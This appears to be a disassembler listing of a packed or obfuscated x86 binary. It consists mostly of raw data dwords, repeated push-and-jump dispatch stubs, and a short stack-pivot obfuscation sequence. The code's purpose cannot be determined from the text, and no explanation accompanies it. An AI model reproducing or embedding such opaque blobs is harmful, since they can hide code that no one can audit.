dd 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h
dd 323D94E7h, 31048C83h, 1355E911h, 80680000h, 0E90608DDh
dd 0FFFAA17Dh, 8DE8E68h, 0A173E906h, 9668FFFAh, 0E90608DFh
dd 0FFFAA169h, 8E0E568h, 0A15FE906h, 6768FFFAh, 0E90608E1h
dd 0FFFAA155h, 8E23168h, 0A14BE906h, 0FA68FFFAh, 0E90608E2h
dd 0FFFAA141h, 8E3B268h, 0A137E906h, 5F68FFFAh, 0E90608E4h
dd 0FFFAA12Dh, 8E5DA68h, 0A123E906h, 168FFFAh, 0E90608E7h
dd 0FFFAA119h, 8E86A68h, 0A10FE906h, 0C668FFFAh, 0E90608E9h
dd 0FFFAA105h, 8EBAE68h, 0A0FBE906h, 0B768FFFAh, 0E90608ECh
dd 0FFFAA0F1h, 563ABB5Eh, 0DB8932C3h, 751BA076h, 0E5EB0CE0h
dd 167A7F10h, 6435619Ch, 0D4A4095Fh, 4A28BDD3h, 0B75E23A1h
dd 87035236h, 6142AA3h, 5E69671h, 2AA2432Ah, 8C61AB6Ch
dd 0B2342F00h, 0F74DD8E1h, 96FAFB92h, 7630AED9h, 11F0FCD2h
dd 0BD2FBA75h, 0BD1F895h, 0C4083471h, 6A2EC8DCh, 278793h
dd 1300000h, 67618A6Ch, 4E398662h, 80321650h, 0FE7511FFh
dd 3CD9616Bh, 0C8710BDFh, 0C100054h, 0CB936A41h, 0C2h
dd 0A2432A74h, 93906104h, 0F792FAFBh, 8F656068h, 747D12FFh
dd 0C1E68914h, 0C25BEFA9h, 3E770EF0h, 0AE5324ABh, 0BDCDAB3Eh
dd 0B3403DD0h, 1D2DA30Eh, 770EEE07h, 1CF9A649h, 0F1440897h
dd 6F94611Eh, 0CB9D687Dh, 97D3D1BCh, 11FF29B3h, 0FA9D7075h
dd 0B3267FF5h, 0C9E792DDh, 0D24CEEB1h, 0C0FCA1ADh, 13A48D0Dh
dd 5AD674B5h, 11FE0C1Ch, 0E97C6F09h, 565B3CD1h, 21CAAF32h
dd 0D643358Eh, 9C4A4E6h, 10FFh, 0A226C7AAh, 0D7B53EDFh
dd 4107AC42h, 0F19718FCh, 62668B6Ch, 70015580h, 0E0B0054Bh
dd 562489DFh, 0C3AA3FADh, 9317AE22h, 6141EB7h, 11D26271h
dd 28BC452Ah, 5F0DB245h, 4B6C0CE1h, 6C0176EDh, 0F0F99E8Bh
dd 6666CD98h, 4F3A8563h, 7F311951h, 9A7511FFh, 5A2137F9h
dd 3DBB8510h, 7F3971E4h, 72EC65C5h, 8550710Bh, 0B730A83h
dd 0DEE37671h, 0A0DF05F2h, 1D6DCBB3h, 0B4658F5h, 2468D471h
dd 69A8283Ch, 0F12793h, 2A500000h, 6C2AA243h, 0F0FD96B2h
dd 424770Eh, 770EF08Bh, 0BC2B6AF1h, 27CCADC0h, 0EF14FA8Bh
dd 0BBD17911h, 35770EEDh, 0BA0F5D62h, 0FCBAD2D3h, 9D71345Bh
dd 0A503B868h, 0E6896F1Ah, 77C287C1h, 0AE85EF3Bh, 2CBB7511h
dd 0B5840FB8h, 0BACFC95h, 0E954071h, 47BBD870h, 52396F09h
dd 0D1A07114h, 846AA907h, 34582744h, 9314FB8Ah, 0D09F7015h
dd 14E196F2h, 2C1DCAEFh, 0FAEC1ACh, 0D2E6D6B3h, 0FF1273Ah
dd 0D5A40000h, 4C29BCD0h, 0BA5C21A7h, 26CE5331h, 997EC381h
dd 47F67C10h, 17757E13h, 9BC9EE82h, 95F6436h, 0B82CD1A4h
dd 1089A119h, 6C710613h, 47011FDCh, 0EF06AE3h, 0F3F89A77h
dd 0FED5CC99h, 0B309941Dh, 0AB4839DEh, 45FFBB06h, 0A12BCCA0h
dd 0F06BE424h, 0AD1770Eh, 0A077DAAEh, 0F0E37CCCh, 0B259770Eh
dd 0F0BB54F4h, 5A01770Eh, 2ADA99CFh, 30B95A43h, 846C0D58h
dd 0FF08ED1Ch, 2B4D4A3h, 63658E63h, 648D6366h, 0E68B6164h
dd 797E160Fh, 856BFE92h, 0EE816C7Ch, 0FBF29BC9h, 0C8E6048Fh
dd 0C7DB6617h, 9B11A8CAh, 0B7974DDDh, 46157511h, 0FD9E6F2Bh
dd 0B9F194F4h, 0B73F891h, 1B914471h, 85A29533h, 0EC0A759Dh
dd 0D44876D2h, 3CD18388h, 57325A5Fh, 195F8D9h, 12F9ECFCh
dd 0A4424D7Ah, 0DCBD500Ah, 54D0B5D7h, 82612374h, 0B4F2997Dh
dd 2BB93ED1h, 7BC4AF46h, 30FC6CD7h, 584160CFh, 79175C50h
dd 0EE97C91h, 0DDBC0000h, 5421B4D8h, 0C25439AFh, 2EC6AB39h
dd 0A176DB89h, 3FFE7418h, 6F7D866Bh, 93F1F69Ah, 1476C0Eh
dd 0B0D4D9BCh, 881A9E1h, 74710612h, 432A27C4h, 0F29D2AA2h
dd 906EBAF4h, 0AE7511FEh, 6F1A553Bh, 0B113971h, 296F0EFEh
dd 85022AA2h, 0BF770EBDh, 28B5D7D8h, 5825A748h, 335636BBh
dd 0F1419549h, 4A2E72AEh, 996D1F32h, 0F1FA9C71h, 6476F297h
dd 62h, 9F85F097h, 0CD98F0F9h, 0FF8E4866h, 92F7911Ah, 0F0DB74D4h
dd 0BA21770Eh, 0AB5DEE3Eh, 0D7D37511h, 0BA3DA73h, 24B32671h
dd 4319FB8Ah, 0BA36EE7h, 0B807D271h, 0A38904D4h, 0D4BB710Bh
dd 1EF697D3h, 8E62CF99h, 9F6A7F69h, 1AF84D21h, 201AF791h
dd 5C00000Eh, 89C3E889h, 0EF1E8216h, 0A934C2BFh, 85F050D3h
dd 6AF1FA9Fh, 0D7DCB94Ch, 1A54D0B5h, 982A660h, 77770EF1h
dd 622404E0h, 0D8750736h, 0CA8227F5h, 9776309Fh, 2FE9FF00h
dd 153CD575h, 0D5807106h, 42630A5Fh, 94127D0Ah, 5AAF4EDAh
dd 87666EFEh, 0D91203F2h, 65E04693h, 1D9BCE9Eh, 0E3069B04h
dd 234C886Fh, 0A44B1A54h, 15F84D03h, 0C4CFF890h, 92A08826h
dd 751126h, 0B8871A55h, 0B25AE0D3h, 0D9A5Fh, 8B2CCF00h
dd 1EA370C5h, 0E811E74Ah, 787D11E4h, 0CBF08114h, 0BAF02F85h
dd 0D5B82CD5h, 592CA045h, 0CF5236BBh, 0B0C18728h, 10B952F6h
dd 75077106h, 0F0F26FF6h, 0ADD8770Eh, 10D7730Fh, 0B0750735h
dd 1AF88D25h, 1692F791h, 0DDE2B558h, 0C65FEBA5h, 3A710615h
dd 28BDD1AFh, 37B85845h, 90F51362h, 0E9746F5Dh, 3FBDC8FFh
dd 0E70CE283h, 4A04E0E5h, 92200FEh, 8AB3E6Fh, 0E6DBB38Bh
dd 185BB656h, 4D00000Dh, 0F65B09AEh, 65C89C25h, 977A6E93h
dd 7EAFEFFh, 0A91B4972h, 5257386Eh, 26C7AB3Eh, 0B43DDFA2h
dd 5AA4DD0h, 0D0783E47h, 71060F37h, 2A70F385h, 472AA243h
dd 0C85D0FB0h, 37B85F2Eh, 80B43055h, 0B85C315Ch, 728AB937h
dd 31996D4Eh, 0B937B85Ch, 73DA3h, 85F0DC00h, 0B8884B67h
dd 52533B40h, 0AF841C0Dh, 0DD5B26C7h, 0B74B87A3h, 6C357506h
dd 1E1DD894h, 29947B0Eh, 0DBDD6237h, 9479319Ch, 0F8EDFF00h
dd 0FC0195h, 0FCD0A746h, 6AFB32Ch, 0F7420971h, 0DD6D2791h
dd 7106AF44h, 32572DB8h, 0EA325A5Bh, 7106AF6Dh, 0FAB4325Dh
dd 0AF6FE840h, 1ECD7106h, 6644E4A2h, 0D46F09BDh, 2E676E01h
dd 0D2BAE6DBh, 0C4E3Fh, 77781B00h, 0CAEF8C11h, 545D3386h
dd 24C9AD30h, 0B73CDDA0h, 0F6A453D1h, 61F49821h, 95786C91h
dd 1BEEE207h, 441D7374h, 0E6DE642h, 21D37106h, 0A2432A42h
dd 8D5304h, 195E52E4h, 0B84DCBA3h, 0D0B5D7D8h, 595E3154h
dd 0AAF4C21h, 0D54BDEAEh, 0FD8D9781h, 6F4A996Ch, 0F5000006h
dd 64896C01h, 0F023A088h, 7C07770Eh, 7CCBF086h, 35EAE642h
dd 79337507h, 61538D1h, 4C298471h, 0D5A025A7h
dd 0D793465Fh, 205E5F36h, 420AAF4Dh, 5BC5A907h, 161089A1h
dd 0F96C7106h, 9E876E03h, 0F297F1F6h, 37426567h, 4B2901B9h
dd 8E6F0923h, 28DB74D4h, 0BA217703h, 33BAE73Eh, 0CF8E5043h
dd 0DA275E25h, 7FE6DB40h, 0B8572EFh, 41D00000h, 0B84528BCh
dd 26C85D33h, 927ACF9Dh, 5EA7F6Dh, 0DB1AE8FCh, 83C1EA8Fh
dd 37555A3Eh, 0A52BD0A2h, 0D4B83DD0h, 0A43D0D8Dh, 1871060Eh
dd 432A8B68h, 996C2AA2h, 41660AF7h, 0A2F792FAh, 2F511A50h
dd 99EC483Ah, 8D0622F6h, 0F3770EEFh, 5ACF9964h, 9EA6B2E6h
dd 59996D4Dh, 5A2h, 56387C1Fh, 76580259h, 0E4D39D2h, 45D08777h
dd 85F074EFh, 0CAFF4B67h, 46750735h, 0C704D793h, 0FB49209Fh
dd 17717A18h, 4F09E772h, 0B2D6D7BEh, 25A7482Fh, 6CC801Dh
dd 4B1F6A71h, 2EC141F2h, 6D06E889h, 80A8C6ADh, 6F0920A2h
dd 4FAAC590h, 12E6DBB1h, 0ACDE77Ah, 0F9980000h, 700D90F4h
dd 0DEB0054Bh, 4A22B7D5h, 0BD5227A5h, 23D25034h, 4B19A277h
dd 0FFED12E6h, 6D63886Ah, 9CF0F598h, 0EC65C5C5h, 5071060Dh
dd 432AC3A0h, 0B0472AA2h, 369D26F7h, 3A2BA778h, 7C1DA648h
dd 38B4CA15h, 1347F550h, 6C9CFF05h, 4F4F899h, 6F7B0000h
dd 770EF0F5h, 7A34B2DDh, 0AB502DC0h, 0E0C8A421h, 75073576h
dd 0A67931A4h, 5F27334Ah, 6E2884B4h, 0D43DF89Fh, 66D4B5EEh
dd 6EE7437Fh, 0D271061Ch, 41D4B807h, 0D95F09AEh, 0E4BE8706h
dd 10ECEFCDh, 0A0DEDCA7h, 92A0288h, 0BAF5606Fh, 0E6DBBB51h
dd 208D4028h, 7500000Ah, 0FE4301A6h, 6DF0941Dh, 9F62668Bh
dd 0F92F6F7h, 0A103416Ah, 0AA4F2076h, 3EBF5326h, 8C35C7AAh
dd 1DA275D8h, 0D870364Fh, 71060C3Fh, 2A680BBDh, 6104A243h
dd 6B7E6E93h, 7C6C9164h, 16FB9369h, 836E7E7Fh, 329FC9F2h
dd 88315B60h, 8DD660B4h, 640B4397h, 0DD6D2743h, 770EF044h
dd 33572DB8h, 6D51ECF0h, 3ED6B799h, 3EBA2FB9h, 17BDCh
dd 27CB9A00h, 2AA92A86h, 472AA243h, 8223F7B0h, 8B0B55CAh
dd 5C611566h, 49666AF1h, 31BA583Eh, 0BA73257h, 11A6693Fh
dd 0D8B02775h, 0BA69330h, 34D99171h, 590C5C61h, 0AD8BDFE3h
dd 936A0497h, 102C4B0Ch, 282D195h, 7CF8476Ch, 4C1Eh, 0C3A25C00h
dd 8818B2Ch, 74710B73h, 0E90EE2E1h, 950EEAFFh, 0FE9F85F0h
dd 6BF693F5h, 0D6D7BE4Fh, 7A0C1C5Ah, 977511FFh, 0DE9821F6h
dd 0BDFD14Ah, 3CB82F71h, 0C6E78EE5h, 4CC9117Bh, 0D8710BDFh
dd 1C203064h, 0DB936A41h, 0B5h, 0A2432A64h, 4AC35304h
dd 0F40175A2h, 0EC8D1078h, 553885C7h, 0C2553850h, 757E1FEEh
dd 0BD567613h, 3770DF4h, 0EEB1C954h, 456B800Eh, 8E636652h
dd 53FB8F65h, 770EB8ADh, 38F7996Ch, 0ECF57A74h, 6068F772h
dd 13FA8F65h, 0C6B1FE92h, 1DFF8E28h, 0CA5E1894h, 750C82DBh
dd 5E88655h, 0B4194F74h, 74A7DEE3h, 19E0D5D8h, 8A59C71h
dd 21F00000h, 9865C89Ch, 6E87D13h, 721AEFFDh, 0E58A1F4Dh
dd 0FB3A88DCh, 0A321CAAFh, 0D7B53ADEh, 450BB042h, 0F4981DF0h
dd 0C45DEDADh, 3871060Bh, 452AEB88h, 8D6302BCh, 0BCD2FFAEh
dd 8510AAB9h, 462A86C3h, 0F59B1CF3h, 9A5E018Eh, 58F1C7C4h
dd 0D2E3653Ah, 0E154CE0Eh, 968F660Bh, 5911FC05h, 42128B9Fh
dd 0FB6E770Eh, 0ED806D7Dh, 0AF4184C8h, 0FC000002h, 668B6C01h
dd 0FF98B066h, 7D770EF0h, 1AA503EEh, 7F39716Fh, 0EF032ABh
dd 5DDB8E77h, 0F73D0723h, 0B4237511h, 6FE840FAh, 81710BD6h
dd 0C99CCCF1h, 0DF78D0D6h, 5D710BD6h, 0F69E238Eh, 4D585382h
dd 0DD6505E3h, 710BAA40h, 140C50CCh, 936A0C10h, 21BCFh
dd 3AD8AD00h, 0B851F9B1h, 4710BA6h, 6F58DB51h, 770EF0F7h
dd 2BE5B4DFh, 0EF0861Fh, 3D6FFA77h, 770EF0A4h, 0C8E64D18h
dd 735EC60h, 3BF2A75h, 4C6A8B62h, 1403AD8Bh, 7BF1F9AAh
dd 0CAEB8217h, 1C9AE582h, 940C662h, 6D96F09h, 68D41457h
dd 1C35B35Eh, 45F13649h, 0D8B0E6DBh, 77E05h, 0A7482B00h
dd 3ABF5C21h, 842DC356h, 14997DC0h, 0E70CED70h, 86D403E1h
dd 3184C8F1h, 0A5085C61h, 2BBED2D7h, 942DA344h, 99D3612h
dd 51E37106h, 71432A92h, 0EF040D9h, 4229BC77h, 0FCD0A70Ah
dd 0EF0B32Ch, 0F7420977h, 0DA0E3695h, 84C8ED80h, 6D52556Fh
dd 1621299h, 2AAD0000h, 0DB25A43h, 29A30E5Bh, 0F0F99E6Fh
dd 797E1174h, 0B3315C6Bh, 74ED3DF7h, 0C8770EF0h, 41E9A71Dh
dd 7512008Bh, 0E20A4209h, 710BE065h, 3A297DA3h, 0E962C680h
dd 57710BE0h, 0E10F8880h, 0FE6D710Bh, 3E2B3102h, 4C24936Ah
dd 57000000h, 6AE34701h, 9A770EF0h, 0F297F1F6h, 1FA804D3h
dd 0C6E78E74h, 59EB3F7Bh, 0D77511FFh, 23A04800h, 0DD710BDFh
dd 4BD6B63Bh, 0F44C1CA5h, 1BAA1438h, 0DDE7F125h, 0C6936A40h
dd 0FD3C6C15h, 308CD01Bh, 0B62Ah, 1BFD9000h, 2A991A96h
dd 6C2AA243h, 0F0FD96B2h, 9443770Eh, 1FA47518h, 0E80DE04Dh
dd 757A1DE0h, 0BE31C717h, 0EC8770Eh, 0E9EA13Ah, 0EC481F77h
dd 93F1F699h, 0BAC4025h, 1FA80441h, 10387674h, 750C3A01h
dd 540EA83Fh, 0F2158E9Ah, 0FC6B7108h, 678C6D00h, 2CD5BA4Bh
dd 3F5329BCh, 0A61DE81h, 0F4DA242h, 5A7FAB34h, 5481B21h
dd 91F47075h, 75B8FB00h, 48E0D598h, 615ADA0h, 0B1400000h
dd 28F5580Ch, 9678CD83h, 2EA7F6Dh, 751AEFFDh, 6BAA184Ch
dd 33515A3Fh, 0A725CAAEh, 0D5BB40D2h, 4408AD40h, 34AD7D3Dh
dd 88710608h, 452A7BF8h, 0B24528BCh, 2A245F0Dh, 0DFB55A43h
dd 0EF0D24Bh, 2CBB2E77h, 0D3BA0741h, 3F5BBED2h, 0DA000000h
dd 4A2432Ah, 616B9061h, 1DE08864h, 11ABF7Ah, 0CFD5DC7Bh
dd 0F9A16860h, 0C078A326h, 0D7AD0906h, 0BCCBFE3h, 0CF2F74C6h
dd 0E58864B2h, 41FFED12h, 452BE49Eh, 572D2D8Ah, 3042h
dd 6C01F100h, 60656788h, 230EE184h, 0DEED9384h, 6C0A9139h
dd 0DEFD96B2h, 6A0F770Eh, 1D9B4E41h, 0DE27A54Dh, 0F824770Eh
dd 2FB92D4h, 0EAFE456Ah, 5D5E01E9h, 0ECC33E7Ch, 0B4FF3DA0h
dd 0CF34B4E3h, 9DC88029h, 40D7BA36h, 5B0DB647h, 6F29A30Eh
dd 2AFC95B5h, 9540770Eh, 9E3115C4h, 8B61444Eh, 1753513Ch
dd 6FF5133h, 46974875h, 3A44A7D4h, 0A53011EFh, 1680530Dh
dd 4CBB979Ch, 6E0164C0h, 0BF5C3149h, 0B937523Ah, 8AD40D5h
dd 5E5C2740h, 7D690820h, 10C76EFEh, 27E0B756h, 82C6AD56h
dd 0CAAF583Fh, 75325A21h, 1D2EC0Ah, 53D3AC5Eh, 846C3222h
dd 9F94D405h, 2EFAB430h, 75115F20h, 9BA8CB9Eh, 46E0D3F0h
dd 4B9ABA6h, 0DEC0000h, 8411E4E8h, 0F284697Fh, 5E369BC9h
dd 0D1A60B59h, 0FCEA428h, 5F0DB65Bh, 0C38126CAh, 71179C7Eh
dd 0E0E409ECh, 0D871D9D1h, 24710607h, 432AD794h, 0B45B2EA2h
dd 25DF5933h, 0EF08C05h, 8F65F077h, 0AC4113FAh, 6DE626CBh
dd 0D3770EF0h, 7C2FB904h, 0A3442BBAh, 0FCC0BC29h, 0FEFF96A8h
dd 0B6592CEAh, 3BC05231h, 526E76BDh, 5035996Dh, 3BAE3EC3h
dd 4C5FBDh, 0F0D80000h, 0FF4B6785h, 7511AB4Eh, 0A15B17C2h
dd 298728CCh, 5F0DB644h, 0BA4148Fh, 504D2071h, 38AC3BBCh
dd 0CA56DD7Eh, 6AC34933h, 0DA946388h, 0B36D54Eh, 0C0BC2B71h
dd 8CE0CFADh, 0C336EDCDh, 0A7BAD2B9h, 3FBh, 0A94A1Bh, 432A2FA4h
dd 0B0472AA2h, 632E590Fh, 0D06A2D45h, 286E519Ah, 0D5753389h
dd 7511ECFFh, 96BE2EBDh, 710BEDF9h, 943640Bh
dd 0B9D3D4A4h, 0AEE83CF0h, 0E3F51907h, 936A4AD9h, 626C09CAh
dd 1AB1F1D5h, 38BC9Eh, 13F0000h, 616B8C6Ch, 543F8864h
dd 7E301856h, 0FC7511FFh, 3AD77F69h, 0F6710BDFh, 0A12064Ah
dd 0C5936A41h, 102h, 8B5EE0B3h, 0DF5E6DFh, 0EB3CD575h
dd 0D580710Bh, 432AE45Fh, 47E3B95Ah, 770EF0CEh, 0B0D8A732h
dd 0B31E4ED5h, 5B3D5DEh, 926E9360h, 0DB9718FFh, 85F640Ah
dd 84E44065h, 0C6A95639h, 28A18921h, 94770EF0h, 0C6167AC1h
dd 770EEDD0h, 64A6B02h, 0B1DBDCB3h, 556D8BF6h, 0D049E19Bh
dd 2C770EEDh, 0DDEBC3B9h, 5B75120Ah, 0B921F28Ch, 0A101E896h
dd 0FEB8CCA8h, 4A31195Dh, 1D4800A9h, 162ABB7Ch, 9C18A173h
dd 2C4A6813h, 97C071Ch, 0B2B1626Fh, 1FBDF07h, 1A9F7D10h
dd 0B8991772h, 38DB952Dh, 6C9C4E0Bh, 0CCA11FD3h, 7FC2862Bh
dd 0E75E119Ah, 0FAE6D6D6h, 2D1FF12h, 0F5840000h, 6C099CF0h
dd 0DABC0147h, 462EB3D1h, 0B95E23A1h, 27D65C30h, 77159E73h
dd 0FBE90EE2h, 697F8416h, 98CCF184h, 0F069C1F9h, 4C710605h
dd 452A3FBCh, 0A10CB144h, 0C0A27523h, 0A17A1E5h, 585D3D50h
dd 0C1E689DCh, 85F0D083h, 0D7914B67h, 4C5C6536h, 770EF0D3h
dd 0E6C6A229h, 7511FF54h, 0A9631FCAh, 0BE00881h, 0BE17471h
dd 0DF3EDB63h, 1EF6710Bh, 8D62CF99h, 457F6464h, 36BB5911h
dd 1DA43356h, 0DDE6885Dh, 5E62DE8Bh, 41162E0Ah, 0BDD1936Ah
dd 62000000h, 2AA2432Ah, 5F09B247h, 426734D9h, 0C9E15F0Ah
dd 770EEDD3h, 17757A1Dh, 0ACCAEB82h, 0EDBD56F2h, 5403770Eh
dd 8CF7B0D8h, 0DDBD506Eh, 5FD5B0D8h, 0AFB0921h, 58797512h
dd 3F2A2A79h, 0AD238E0Fh, 41797702h, 1415E687h, 7A6F7982h
dd 33911EFh, 816F089Eh, 28C99CDAh, 9778CD83h, 710704EAh
dd 0FE450048h, 556CFBEEh, 0E6D63FFCh, 0C8F06DFDh, 9D000001h
dd 6EBF9FEh, 0B5184C75h, 278ADEE3h, 573AAE4Fh, 0D9AB39C2h
dd 2A7481Eh, 9617FB4Eh, 648D6FF2h, 0F5FA9D60h, 60C8CE97h
dd 710604E7h, 2AC0A355h, 4528BC45h, 4E22F5B2h, 0EF061FAh
dd 0BD08DF77h, 442BBE2Bh, 0C3B0D4A3h, 2AA2432Ah, 590FB047h
dd 0CC9C21F4h, 2901D0BBh, 770EF0B0h, 597B930Ch, 0D979AECAh
dd 8CBE772h, 7557A3F6h, 64229E57h, 119D66C4h, 1CF9D475h
dd 590F597h, 0F0241843h, 98D6D7BEh, 0CF97DEC7h, 7BF1C0BAh
dd 8F2D5817h, 3B9D57F3h, 0A1446F0Eh, 0E3BC2CD1h, 614D0F24h
dd 413F8A26h, 0E93F560h, 9F064667h, 94FF7DA1h, 0E7B55816h
dd 61DF8AC2h, 0D5690327h, 0D77511h, 9116F94Ch, 63886AF7h
dd 2DD2A647h, 0D7BB2EBBh, 55D3B6D6h, 520C4E35h, 0BB55DF6h
dd 0B834A371h, 771E5084h, 2A551276h, 0D856F28Ch, 666F0EAEh
dd 613499F3h, 6D470C5Ch, 0D2D0BB39h, 0B636B494h, 51047511h
dd 7FCB8533h, 710BB5E6h, 86318F5Ah, 20C5FDFBh, 0A623A54Eh
dd 21AB4C23h, 0BA8EC8A4h, 6F03FAD0h, 25DF9B4Eh, 0FF0E272h
dd 0C0C80CA3h, 7703E947h, 224A26B5h, 0F56EBA74h, 357703E9h
dd 0DCDACFCFh, 81544FD1h, 0EAF462Bh, 9F20F75Ah, 0D4BA4BCDh
dd 4C28BD2Fh, 0CFCDB7Ch, 0D7FB3984h, 424F89Fh, 5FDC4E8Bh
dd 0E39F6AF1h, 14B7002h, 851E2A44h, 0FB5FDC4Eh, 69FC906Ch
dd 8F496186h, 4EDC75D5h, 0B5205FDCh, 0DC4EFA93h, 1593465Fh
dd 0E304E875h, 0AC5526C7h, 3911A93Ch, 5FDC4EA0h, 9BF3491Ch
dd 0DD88DCD0h, 0F74A8A3Ah, 0A8044FBFh, 0DF8D32C5h, 91C8A34Ah
dd 5F16F2EBh, 0AFA22AB1h, 3, 2A8003D6h, 5B26A647h, 0F45933B4h
dd 66CB9D26h, 967B6D92h, 0D90F801h, 0B805476Ch, 0D4B9D3D4h
dd 422FB942h, 0B4008B1h, 815E5456h, 4C6h, 4EE8300h, 5C243487h
dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 6268241Ch
dd 89000003h, 68572434h, 1D1359A0h, 0BE56475Fh, 0E8F582D3h
dd 895EF701h, 8B545FFBh, 0C4832434h, 8B95104h, 81000000h
dd 0A10808E9h, 81F1012Fh, 0A10808C1h, 5919892Fh, 5724348Bh
dd 0C781E789h, 4, 4C781h, 3C870000h, 1C8B5C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5439D9
; ---------------------------------------------------------------------------
dw 0B89Ah
dd 608EEA4h, 0E0FFC503h, 7880485Bh, 4109E58Fh, 65F880Eh
dd 5B3A11B2h, 5A85444Bh, 795A7349h, 30910377h, 5C2CC9F7h
dd 36E58C32h, 4C28A32Ch, 3576B28Fh, 40E8CF49h, 64A697E3h
dd 4B461715h, 266183DBh, 2444E70Dh, 61980C0h, 7D0079EBh
dd 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h
dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h
dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h
dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h
dd 0DB4D5200h, 0D65EF357h, 0B79BB7h, 95ABAFF6h, 0F0009F89h
dd 0D7C77156h, 1800BEB3h, 0C4D75671h, 8673E2ADh, 0E9739F85h
dd 0F28h, 8F1CE68h, 8D5BE906h, 0C268FFFAh, 0E90608F2h
dd 0FFFA8D51h, 8F3B668h, 8D47E906h, 268FFFAh, 0E90608F5h
dd 0FFFA8D3Dh, 8F57068h, 8D33E906h, 3168FFFAh, 0E90608F6h
dd 0FFFA8D29h, 8F70268h, 8D1FE906h, 0A568FFFAh, 0E90608F7h
dd 0FFFA8D15h, 8F86868h, 8D0BE906h, 6268FFFAh, 0E90608F9h
dd 0FFFA8D01h, 8FA7A68h, 8CF7E906h, 9F68FFFAh, 0E90608FCh
dd 0FFFA8CEDh, 8FD8468h, 8CE3E906h, 0C9A8FFFAh, 40DDA024h
dd 0AE40D5BBh, 1AF24705h, 8D62F795h, 53826064h, 1B497207h
dd 8FDDE2B6h, 3D53583Ah, 0AC20C5A8h, 1CB59515h, 60710601h
dd 432A13D0h, 5B0DB25Ah, 6F29A30Eh, 99F3F89Eh, 7A1D70CCh
dd 84C4E98Dh, 59167AC1h, 4EC7632Eh, 0B2770EF0h, 28CDA027h
dd 205E25A0h, 0AA06AB4Dh, 865CECh, 82637512h, 4869C7ECh
dd 9832E59Dh, 0B233DBAEh, 4C8A3EDh, 2E45DE6Ah, 2CBB710Bh
dd 73103850h, 8D710B2Eh, 3E83C5EAh, 44365657h, 0DBEA5478h
dd 1D273165h, 0DA93698Ch, 41h, 6785F065h, 0FF4DFF4Bh, 14C37511h
dd 0DF2FAC74h, 3DFD710Bh, 0DF2EA783h, 0D92710Bh, 7A6F4602h
dd 0EEA71F0h, 0EAF2E62Ah, 0E59369E6h, 0B7h, 6EEA00D3h
dd 0D909D84Bh, 26E3C2BEh, 423E85CFh, 0A2432AC1h, 9B2472Ah
dd 9A1BF25Fh, 0AD886FF2h, 77A7FEDAh, 5911FCFAh, 128B9Fh
dd 0FB6E770Eh, 0F5AF697Dh, 0DFFBC55h, 0DF550077h, 0DFCD9CFh
dd 73741B77h, 0C0E5881Dh, 1694FF88h, 0F66F058h, 1D47511h
dd 0F1BD543h, 710B0B96h, 36817FEAh, 3515AD4Bh, 6F08BC07h
dd 25C8E675h, 5439AF54h, 1C873EC3h, 0C1E6D63Dh, 0CC43429h
dd 15E40000h, 8C69FC90h, 0FA9C6167h, 660E93F1h, 0D9BE0341h
dd 736BCD0h, 5735BE53h, 0DB892EC2h, 491FA476h, 0F8EC11E4h
dd 0D049E1D9h, 2C7105FFh, 452ADF9Ch, 0B24528BCh, 0F0245F0Dh
dd 0FF4B6785h, 7511FF4Dh, 0B95A14C3h, 1A075E5Ah, 1DB6923Bh
dd 63710BBFh, 0FB9369F4h, 0BBEB653h, 9ACE7271h, 6A20869Eh
dd 0CF4193h, 2AF20000h, 472AA243h, 0B77109B2h, 0EF0FA93h
dd 90092177h, 0EC770EF0h, 0C8602679h, 770EF04Fh, 0D5533EADh
dd 0EE776DB5h, 16F9770Eh, 0FA9E8B69h, 0CD836EF5h, 78109578h
dd 8A6444Fh, 78FA8D4Eh, 6C51CA5Eh, 38AF770Eh, 0D71B8C67h
dd 20E77159h, 86557511h, 0DCDAA5C2h, 968986A2h, 98F76F08h
dd 4B67F2F7h, 0CC777B88h, 0EDE00E49h, 0E0E5E70Ch, 0D6BB4A04h
dd 47C2952Dh, 1CD02C27h, 64C99D1Bh, 5A576E93h, 9FE6D66Fh
dd 0BD012CFh, 9E80000h, 801DE0E4h, 0EE80157Bh, 5A3287C5h
dd 0CDA23755h, 13C2A024h, 5B09B247h, 0CF9D22F6h, 7D13987Ah
dd 0ECE005E8h, 0DC75D5D5h, 207105FEh, 452AD390h, 916302BCh
dd 6FFAFF90h, 0F88C687Dh, 6F7D8215h, 0A2432A74h, 0D3BB4A04h
dd 0F061FAD2h, 8DF770Eh, 9E71DCACh, 10E64B19h, 0D8CAC921h
dd 4FDB62A1h, 770E18D6h, 45D0BF2Ah, 0D6D7BE03h, 946104B2h
dd 8C687D6Fh, 0BBC6443Dh, 0EFA5853Dh, 0AD751130h, 2BA9833Eh
dd 1F9D8528h, 10387674h, 838859E2h, 38C15637h, 5656FF50h
dd 9C5437B7h, 0CF9ABB31h, 19FEA9Dh, 9690C169h, 0A10C7D82h
dd 29412CD1h, 5EBDAC6Fh, 0FE4FB7C6h, 82BC35AEh, 0B233C785h
dd 12948FDAh, 82BC9D36h, 0E974E385h, 0DDB05513h, 0B5604F20h
dd 5F4BF677h, 7E388712h, 0E2EA0BEFh, 906509E7h, 0B2B9F8FDh
dd 17175C5Ch, 0ADC9A77h, 0FD9C0000h, 740194F8h, 0E2B4194Fh
dd 4E268BD9h, 0C1563BA9h, 1FDE5438h, 4F1DA64Bh, 0F39116FAh
dd 61678C6Eh, 90F4F99Ch, 0E861C9C1h, 547105FDh, 432AC7A4h
dd 0F29D2AA2h, 906EBAF4h, 0C97511FEh, 0DB0F4E16h, 318F701Ch
dd 68074510h, 47E39F1Dh, 6F0EA661h, 0BF44D5B8h, 3D75E0C1h
dd 46031D9Ah, 4764B007h, 0FB556A78h, 9314E420h, 0AB01ECF9h
dd 159E3BC3h, 0B66A770Eh, 776E7662h, 7B35996Ch, 0E1936AFh
dd 61DF8A77h, 467Bh, 0A19E4100h, 3105027Ah, 0F04BC8A4h
